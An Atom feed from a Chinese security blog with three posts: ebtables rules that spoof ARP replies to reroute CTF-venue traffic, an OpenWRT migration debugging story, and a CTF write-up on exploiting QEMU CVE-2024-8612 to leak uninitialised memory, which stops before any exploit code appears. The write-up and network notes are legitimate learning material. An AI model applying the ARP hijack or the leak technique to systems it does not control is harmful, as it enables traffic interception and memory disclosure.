<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>张清越</title>
  
  <subtitle>菜狗</subtitle>
  <link href="https://zqy.ink/atom.xml" rel="self"/>
  
  <link href="https://zqy.ink/"/>
  <updated>2025-11-14T08:20:36.943Z</updated>
  <id>https://zqy.ink/</id>
  
  <author>
    <name>张清越</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>记赛场网络代理配置</title>
    <link href="https://zqy.ink/2025/11/13/arena-network-configuration/"/>
    <id>https://zqy.ink/2025/11/13/arena-network-configuration/</id>
    <published>2025-11-13T14:00:00.000Z</published>
    <updated>2025-11-14T08:20:36.943Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p><del>众所周知</del>在一些线下赛中，允许选手连接外网，然而赛场网络并不提供互联网连接。在这种场景下，每位选手通常需要连接手机热点，然后通过配置路由表的方式同时连接外网和平台&#x2F;靶机。然而，路由表的配置较为繁琐（Windows&#x2F;Linux&#x2F;Mac OS下配置的方式不同），并且容易出差错。例如以下三种情况：</p><ol><li>路由漏配错配导致无法连接靶机，然而可以正常连接平台&#x2F;外网，造成迷惑</li><li>一些网络服务会不断添加错误的默认路由，使得无法正常连接外网</li><li>假如赛中出现网络断连（网线松了&#x2F;热点断了等等），则部分路由会消失，需要重新配置</li></ol><p>此外，使用手机热点也可能遇到5G信号不佳、Wifi信道干扰的问题。这些不稳定的问题，使得在赛场需要随机应变的网络配置，也为搭建代理带来了很大挑战。因此，我们迫切地需要一种易于配置、“一劳永逸”的方案，其中最显而易见的就是加入一个软路由小主机，通过小主机统一连接合适的外网出口（简单来说就是看赛场四个人手机谁信号好用谁的x），并统一配置路由表。</p><h2 id="方案"><a href="#方案" class="headerlink" title="方案"></a>方案</h2><p>为了方便展示方案，我们在这里需要为软路由划分三个网络：</p><p>WAN1（赛场网络）：174.35.1.0&#x2F;24 网关174.35.1.254</p><blockquote><p>是的，这个段属于公网段，想知道为什么要用这个段可以去问问赛宁为什么喜欢这么配网</p></blockquote><p>WAN2（公网）：192.168.5.0&#x2F;24 网关192.168.5.1</p><p>LAN（选手网络，在没有软路由时，WAN1和LAN是同一个网络）</p><h3 id="方案一：NAT"><a href="#方案一：NAT" class="headerlink" title="方案一：NAT"></a>方案一：NAT</h3><p>说到软路由，第一想法就是通过NAT访问赛场网络：</p><p>LAN：192.168.8.0&#x2F;24</p><p>在软路由上为LAN配置DHCP服务，选手的主机全部连接LAN即可</p><p>然而，这样做有两个问题：</p><ol><li>在渗透等场景下，例如反弹shell，需要靶机反向连接选手主机。因为选手主机在NAT后，除非手动配置端口转发，否则无法反向连接</li><li>尽管设想选手可以全部连接软路由的LAN，但假如出现LAN口不够等情况，选手被迫直连现场网络时，同样除非手动配置端口转发，否则无法连接到LAN后的设备</li></ol><p>那么，软路由上不使用NAT，直接和选手主机一同连入赛场网络怎么样呢？</p><h3 id="方案二：修改网关"><a href="#方案二：修改网关" class="headerlink" title="方案二：修改网关"></a>方案二：修改网关</h3><p>回想我们的需求，我们的目标只是让选手的流量流经软路由，而不是共用一个IP地址。因此，我们完全不需要引入NAT，甚至不需要选手连接软路由的LAN，而是直接在选手主机上设置网关为软路由自身IP即可。在软路由上设置转发规则，从而完成流量的路由操作。</p><p>这是个理想的方案，并且在最近的线下比赛中我们也是这么做的，但完美主义发作的我还是<del>鸡蛋里挑骨头</del>发现了两个问题：</p><ol><li>在选手主机配置中，只有两种IP配置方法：DHCP或静态IP。因此在实际操作时，为了避免撞IP，我们都是先走DHCP拿到IP后，再设为静态IP，地址为DHCP获取到的IP，网关为软路由IP。这引入了不一致性，并且在DHCP租约过期时依然可能会出现问题</li><li>尽管选手需要配置的内容已经大大减少，但这仍然需要选手手动配置，而我们希望透明地实现网络代理与流量路由</li></ol><p>如何使得选手仍然依赖赛场DHCP，却能将流量导向软路由并完成分流呢？最直接的办法是修改由WAN到LAN的DHCP响应包，并修改其中的Option 3。然而由于DHCP的复杂性（这可是一个应用层协议），并没有一个简单、稳定的方案实现这一点。此时，我的队友提出了一个绝妙的想法</p><h3 id="方案三：劫持ARP"><a href="#方案三：劫持ARP" class="headerlink" title="方案三：劫持ARP"></a>方案三：劫持ARP</h3><p>既然不便劫持DHCP报文，我们能否劫持更简单、更底层的ARP报文呢？答案是可行的！我们只需要拦截由WAN流向LAN的赛场网关ARP响应报文。当LAN中有主机通过ARP协议寻找网关时，我们伪造一个响应，使得MAC指向软路由自身即可</p><h2 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h2><p>假设WAN1, WAN2, LAN分别对应ens18, ens19, ens20三个网络接口</p><h3 id="配置系统"><a href="#配置系统" class="headerlink" title="配置系统"></a>配置系统</h3><p>首先需要开启系统的ipv4转发功能</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sysctl -w net.ipv4.ip_forward=1</span><br><span class="line"><span class="comment"># 持久化需要修改/etc/sysctl.conf</span></span><br></pre></td></tr></table></figure><p>然后将WAN1和LAN连接到一个虚拟网桥（此处使用netplan）</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">network:</span></span><br><span class="line">  <span class="attr">version:</span> <span class="number">2</span></span><br><span class="line">  <span class="attr">ethernets:</span></span><br><span class="line">    <span class="attr">ens18:</span></span><br><span class="line">      <span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line">    <span class="attr">ens19:</span></span><br><span class="line">      <span class="attr">dhcp4:</span> <span class="literal">yes</span></span><br><span class="line">    <span class="attr">ens20:</span></span><br><span class="line">      <span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line">  <span class="attr">bridges:</span></span><br><span class="line">    <span class="attr">br0:</span></span><br><span class="line">      <span class="attr">dhcp4:</span> <span class="literal">yes</span></span><br><span class="line">      <span class="attr">interfaces:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">ens18</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">ens20</span></span><br></pre></td></tr></table></figure><h3 id="配置路由"><a href="#配置路由" class="headerlink" title="配置路由"></a>配置路由</h3><p>此处比较简单，删除赛场网络的默认路由，并配置靶机路由，配置ens19的masquerade等，就不过多赘述了</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ip route del default via 174.35.1.254</span><br><span class="line"><span class="comment"># ...</span></span><br></pre></td></tr></table></figure><h3 id="劫持ARP"><a href="#劫持ARP" class="headerlink" title="劫持ARP"></a>劫持ARP</h3><p>当ens20发出arp请求包时，判断其请求的目的ip地址，若为网关地址则响应一个指向虚拟网桥br0的MAC</p><p>当ens18发出arp响应包流向ens20时，检查其源ip，若为网关地址，则丢弃</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">BR0_MAC=$(<span class="built_in">cat</span> /sys/class/net/br0/address)</span><br><span class="line">ebtables -t nat -A PREROUTING -i ens20 -p arp --arp-op Request --arp-ip-dst 174.35.1.254 -j arpreply --arpreply-mac <span class="variable">$BR0_MAC</span> --arpreply-target DROP</span><br><span class="line">ebtables -A FORWARD -i ens18 -o ens20 -p arp --arp-op Reply --arp-ip-src 174.35.1.254 -j DROP</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>通过这样的配置，我们成功在赛场网络中加入了一个透明的路由器。配置完成软路由后，选手无需手动配置路由表和IP地址，只需要连接到软路由的LAN即可<del>在信息高速路上冲浪</del></p><p>而劫持ARP的方案实现起来并不繁琐，完全可以手写一个自动配置脚本完成配置，从而降低了配网的难度，允许在赛场网络环境中快速、有效、稳定地配置网络</p><p>而为了实现这一切，我们最少只需要额外带一台双网口小主机即可：LAN口借用赛场提供的交换机，而WAN2使用手机的NDIS通过USB完成网络共享，并没有额外引入太多配件。假如小主机只有一个网口，也可以额外带一台VLAN交换机，不过这就有些太显眼了。</p>]]></content>
    
    
    <summary type="html">本文又名如何增加自己在线下赛中的不可取代性</summary>
    
    
    
    <category term="notes" scheme="https://zqy.ink/categories/notes/"/>
    
    
    <category term="Network" scheme="https://zqy.ink/tags/Network/"/>
    
    <category term="SRE" scheme="https://zqy.ink/tags/SRE/"/>
    
  </entry>
  
  <entry>
    <title>记一次网络迁移的经历</title>
    <link href="https://zqy.ink/2025/05/14/network-migration/"/>
    <id>https://zqy.ink/2025/05/14/network-migration/</id>
    <published>2025-05-14T10:00:00.000Z</published>
    <updated>2025-11-14T08:20:36.935Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>长久以来，我们战队的服务器通过PVE Host连接BUPT-Mobile联网，并且使用nftables做IPv4 NAT+端口转发的方式为网桥上的VM提供网络。</p><p><img src="/image1.drawio.svg" alt="image1.drawio"></p><p>然而，我们遇到了两个需求</p><ol><li>希望为内网的VM提供公网IPv6</li><li>考虑后认为还是需要一个专职网关</li></ol><p>我们的IPv6是通过SLAAC拿到一个&#x2F;64的地址，因此需求1可以通过RA Relay和NDP Relay完成，不过折腾很久未果后，还是决定更换一个更好配置的网关：OpenWRT</p><h2 id="迁移"><a href="#迁移" class="headerlink" title="迁移"></a>迁移</h2><p>因为配置工作比较繁琐+平时比较忙，因此我们首要面临的挑战就是：怎么<strong>在尽可能避免服务中断的情况下，进行OpenWRT的配置</strong>。好在我们有两张无线网卡，我们将闲置的无线网卡直通进OpenWRT (VM100)，可以在配置好OpenWRT后，再将其作为其他VM在vmbr0上的网关。</p><p><img src="/image2.drawio.svg" alt="image2.drawio"></p><p>这样有以下几个优点：</p><ol><li>OpenWRT安装时可以通过PVE Host联网，从而安装必须的无线网卡驱动等软件包</li><li>保持了原先的IPv4网络拓扑，发生配置错误也不会影响其他VM</li><li>使VM连接了IPv6网络，可以通过OpenWRT连接外网IPv6测试配置是否正确</li><li>可以通过将VM的网关设为<code>10.0.0.100</code>的方式测试OpenWRT的IPv4配置</li></ol><p>同时，在两个无线接口没有同时产生大流量时，也不会有明显的干扰现象。</p><p>待OpenWRT配置完毕后，我们更改OpenWRT的IP为<code>10.0.0.1</code>，PVE Host的IP为<code>10.0.0.2</code>，并屏蔽PVE Host的无线接口，从而使OpenWRT无缝替代原先的网关发挥作用。同时，通过DDNS的方式使得域名指向正确的IP。</p><p><img src="/image3.drawio.svg" alt="image3.drawio"></p><h2 id="问题解决"><a href="#问题解决" class="headerlink" title="问题解决"></a>问题解决</h2><p>然而，在测试过程中，我们发现在使用OpenWRT nftables的IPv6端口转发功能时，出现了明显的掉速现象，并且同时影响了上传和下载。通过使用Tcpdump在OpenWRT的WAN接口(phy0-sta0)抓包，我们发现了大规模的TCP重传，并且几乎每次重传一定对应一个长度大于MTU (1500)的帧</p><p><img src="/image4.png" alt="image4"></p><p>我们首先怀疑是链路上MTU设置不当造成的，我们复查了链路上每个节点的MTU，发现均设置无误；同时，我们打开了OpenWRT的MSS Clamping功能，但没有效果。经过查询，我们发现大于MTU的帧被称为Jumbo Frame，是提升网络性能的特性，属于正常现象。并且我们对比了正常的IPv6传输流量（不经过端口转发），发现也有很大的Jumbo Frame，因此排除MTU设置不当的问题。</p><p>接下来，我们仔细分析数据包，发现了一点端倪</p><p><img src="/image5.png" alt="image5"></p><p>注意到WAN口首先接收到了帧长度为8246bytes的TCP包，TCP Payload长度为8172，Seq为130753；然后接收到了帧长度为1436bytes的TCP包，Seq为138925；接下来系统却返回了Dup ACK请求重传，Ack编号为130753+1362&#x3D;132115，同时SLE&#x3D;138925表明后一个包被正常接收。由此我们可以判断，在WAN口接收到包并端口转发到LAN口上的VM时，链路上有节点拆了帧，将8172bytes的TCP Payload拆成了以一个1362bytes payload包开头的若干个包，其中第一份payload被正常接收，而后面的payload被丢包或拒绝</p><p>查询资料后，我们首先怀疑是虚拟化网卡的bug，并使用ethtool禁用掉了虚拟网卡的gso, tso, lro等offload，然后在LAN口抓包，发现了匪夷所思的一幕</p><p><img src="/image6.png" alt="image6"></p><p>LAN口分明接收到了长度正常的帧，Seq为43488，却还是请求了43488的重传，这意味着这个数据包可能本身有问题。这时我们才想起打开WireShark的TCP Checksum Validation，结果让我们茅塞顿开</p><p><img src="/image-20250426020136251.png" alt="image-20250426020136251"></p><p>每次重传一定对应一个checksum错误的包，但是我们分明已经关掉虚拟网卡上几乎所有的offload了呀。这时，我们将目光转移到了硬件网卡上。对刚才WAN口抓的包启用TCP Checksum Validation，发现网卡接收到的包同样存在checksum错误的问题。因此，我们关闭了无线网卡上可以关掉的offload，发现关闭GRO (Generic Receive Offload)后，问题得到了解决。</p>]]></content>
    
    
    <summary type="html">我是小猫，听到丢包就会哈气的那种</summary>
    
    
    
    <category term="notes" scheme="https://zqy.ink/categories/notes/"/>
    
    
    <category term="Network" scheme="https://zqy.ink/tags/Network/"/>
    
    <category term="SRE" scheme="https://zqy.ink/tags/SRE/"/>
    
  </entry>
  
  <entry>
    <title>ACTF2025-EasyDMA Writeup</title>
    <link href="https://zqy.ink/2025/04/28/easydma/"/>
    <id>https://zqy.ink/2025/04/28/easydma/</id>
    <published>2025-04-28T04:00:00.000Z</published>
    <updated>2025-11-14T08:20:36.875Z</updated>
    
    <content type="html"><![CDATA[<h1 id="EasyDMA-Writeup"><a href="#EasyDMA-Writeup" class="headerlink" title="EasyDMA Writeup"></a>EasyDMA Writeup</h1><p>从qemu的启动参数中可以发现程序添加了两个设备：<code>virtio-blk-pci</code>和<code>readflag</code>，其中前者是qemu自带的设备，后者显然是添加的设备，先分析后者</p><p>readflag的逻辑和qemu自己的edu.c基本完全一致，mmio read&#x2F;write有一个8字节的存取，没有漏洞。同时，mmio write有一个malloc buffer, read flag into buffer, free buffer的操作，可以推测需要结合information leak类的漏洞完成利用。同时，检查flag文件，发现并不只是flag，前面有Congratulations等字符串占位，所以不需要考虑ptmalloc的链表结构会破坏flag内容的情况。</p><p>mmio write当<code>size=4, addr=0, val=0</code>时会出现不可控的堆溢出，无法利用，排除。</p><p>接下来以virtio-blk, dma, information leak为关键词搜索可以发现<code>CVE-2024-8612</code>，题目的qemu版本显然在影响范围中。</p><h2 id="CVE-2024-8612"><a href="#CVE-2024-8612" class="headerlink" title="CVE-2024-8612"></a>CVE-2024-8612</h2><p>在VirtIO virtqueue处理的过程中，会为descriptor描述的DMA buffer映射内存，调用<code>dma_memory_map-&gt;address_space_map</code>，在<code>address_space_map</code>中如果<code>!memory_acess_is_direct</code>条件成立，即DMA地址为MMIO地址等情况，就会使用bounce buffer</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Unmaps a memory region previously mapped by address_space_map().</span></span><br><span class="line"><span class="comment"> * Will also mark the memory as dirty if is_write is true.  access_len gives</span></span><br><span class="line"><span class="comment"> * the amount of memory that was actually read or written by the caller.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">address_space_unmap</span><span class="params">(AddressSpace *as, <span class="type">void</span> *buffer, hwaddr len,</span></span><br><span class="line"><span class="params">                         <span class="type">bool</span> is_write, hwaddr access_len)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> (buffer != bounce.buffer) &#123;</span><br><span class="line">        MemoryRegion *mr;</span><br><span class="line">        <span class="type">ram_addr_t</span> addr1;</span><br><span class="line"></span><br><span class="line">        mr = memory_region_from_host(buffer, &amp;addr1);</span><br><span class="line">        assert(mr != <span class="literal">NULL</span>);</span><br><span class="line">        <span class="keyword">if</span> (is_write) &#123;</span><br><span class="line">            invalidate_and_set_dirty(mr, addr1, access_len);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (xen_enabled()) &#123;</span><br><span class="line">            xen_invalidate_map_cache_entry(buffer);</span><br><span class="line">        &#125;</span><br><span class="line">        memory_region_unref(mr);</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (is_write) &#123;</span><br><span class="line">        address_space_write(as, bounce.addr, MEMTXATTRS_UNSPECIFIED,</span><br><span class="line">                            bounce.buffer, access_len);</span><br><span class="line">    &#125;</span><br><span class="line">    qemu_vfree(bounce.buffer);</span><br><span class="line">    bounce.buffer = <span class="literal">NULL</span>;</span><br><span class="line">    memory_region_unref(bounce.mr);</span><br><span class="line">    <span class="comment">/* Clear in_use before reading map_client_list.  */</span></span><br><span class="line">    qatomic_mb_set(&amp;bounce.in_use, <span class="literal">false</span>);</span><br><span class="line">    cpu_notify_map_clients();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注意到bounce buffer的来源是qemu_memalign，得到的内存并没有初始化为0，因此必须严格限制长度的合法性，避免读取到未初始化数据</p><p>然而，注意到当blk request不合法时，会出现req长度已经被记录，却没有对应长度的数据写入的情况</p><p><code>virtio_blk_handle_request</code>函数中，设置了<code>req-&gt;in_len</code>，然而当type不合法时，会直接调用<code>virtio_blk_req_complete</code>完成这个请求（并向状态寄存器设置状态提示错误），将这个请求push到used ring中，导致dma memory的写回和unmap</p><p>调用链：<code>virtio_blk_handle_request-&gt;virtio_blk_req_complete-&gt;virtqueue_push-&gt;virtqueue_fill-&gt;virtqueue_unmap_sg-&gt;dma_memory_unmap-&gt;address_space_unmap-&gt;address_space_write</code></p><p>同时，virtio-blk的mmio部分缺少重入保护，导致未初始化的数据可以被写到common registers的部分。其中有若干字节的部分是可以存储数据并再次被驱动读出的。</p><h2 id="攻击思路"><a href="#攻击思路" class="headerlink" title="攻击思路"></a>攻击思路</h2><p>通过长度从大到小的堆喷，我们可以将flag字符串分散在内存页的各个部分，并通过CVE-2024-8612泄露出部分的flag内容。通过多次执行exp，我们可以拼凑出最终的flag</p><p>与VirtIO交互时，我们采用最简单的办法：使用modern virtio的方式，向PCI BAR上的mmio地址读写。feature协商时不需要任何feature，并只协商一条queue。并且我们在exp开始时先重置设备，保证了我们的exp可以在同一环境中反复多次运行</p><p>题目没有给出内核的配置文件也没有kernel module，要通过映射&#x2F;dev&#x2F;mem的方式拿到物理内存</p><h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span 